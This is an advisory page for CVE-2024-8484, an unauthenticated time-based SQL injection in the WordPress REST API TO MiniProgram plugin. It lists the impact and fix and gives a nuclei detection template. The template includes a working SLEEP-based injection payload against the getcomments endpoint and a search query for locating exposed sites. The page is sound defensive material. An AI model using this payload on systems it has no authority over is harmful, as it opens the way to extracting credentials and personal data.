CVE-2024-8484· jianbo / rest-api-to-miniprogram· CWE-89
REST API TO MiniProgram <= 4.7.1 - SQL Injection
The REST API TO MiniProgram plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the /wp-json/watch-life-net/v1/comment/getcomments REST API endpoint in all versions up to, and including, 4.7.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
Unauthenticated attackers can exploit time-based SQL injection through the order parameter to extract sensitive database information, including user credentials, comments, and personal data from the WordPress database.
Fix
Update REST API TO MiniProgram plugin to a version later than 4.7.1 to address the SQL injection vulnerability in the order parameter of the getcomments REST API endpoint.
How to confirm it
Send: GET /
Positive when: contains(body, "/wp-content/plugins/rest-api-to-miniprogram") and status_code == 200
Send: @timeout 20s
Positive when: duration>=6 and contains_all(body, "code","success","status") and contains(content_type,"application/json") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-8484 -u <target>
The full check
id: CVE-2024-8484
info:
name: REST API TO MiniProgram <= 4.7.1 - SQL Injection
author: s4e-io
severity: high
description: |
The REST API TO MiniProgram plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the /wp-json/watch-life-net/v1/comment/getcomments REST API endpoint in all versions up to, and including, 4.7.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Unauthenticated attackers can exploit time-based SQL injection through the order parameter to extract sensitive database information, including user credentials, comments, and personal data from the WordPress database.
remediation: |
Update REST API TO MiniProgram plugin to a version later than 4.7.1 to address the SQL injection vulnerability in the order parameter of the getcomments REST API endpoint.
reference:
- https://github.com/RandomRobbieBF/CVE-2024-8484
- https://www.usom.gov.tr/bildirim/tr-24-1528
- https://plugins.trac.wordpress.org/browser/rest-api-to-miniprogram/tags/4.7.0/includes/api/ram-rest-comments-controller.php#L247
- https://www.wordfence.com/threat-intel/vulnerabilities/id/6e0945eb-ceec-4536-822a-fe864c21b580?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-8484
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-8484
cwe-id: CWE-89
epss-score: 0.03761
epss-percentile: 0.89994
metadata:
verified: true
max-request: 2
vendor: jianbo
product: rest-api-to-miniprogram
framework: wordpress
publicwww-query: "/wp-content/plugins/rest-api-to-miniprogram"
tags: time-based-sqli,cve,cve2024,wp,wp-plugin,wordpress,sqli,miniprogram,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/plugins/rest-api-to-miniprogram")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
@timeout 20s
GET /wp-json/watch-life-net/v1/comment/getcomments?order=DESC,(SELECT(1)FROM(SELECT(SLEEP(6)))a)--&postid=3&limit=1&page=1&page=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'contains_all(body, "code","success","status")'
- 'contains(content_type,"application/json")'
- 'status_code == 200'
condition: andReferences
- https://github.com/RandomRobbieBF/CVE-2024-8484
- https://www.usom.gov.tr/bildirim/tr-24-1528
- https://plugins.trac.wordpress.org/browser/rest-api-to-miniprogram/tags/4.7.0/includes/api/ram-rest-comments-controller.php#L247
- https://www.wordfence.com/threat-intel/vulnerabilities/id/6e0945eb-ceec-4536-822a-fe864c21b580?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-8484
Use this check only on systems you are authorised to test. Where the data comes from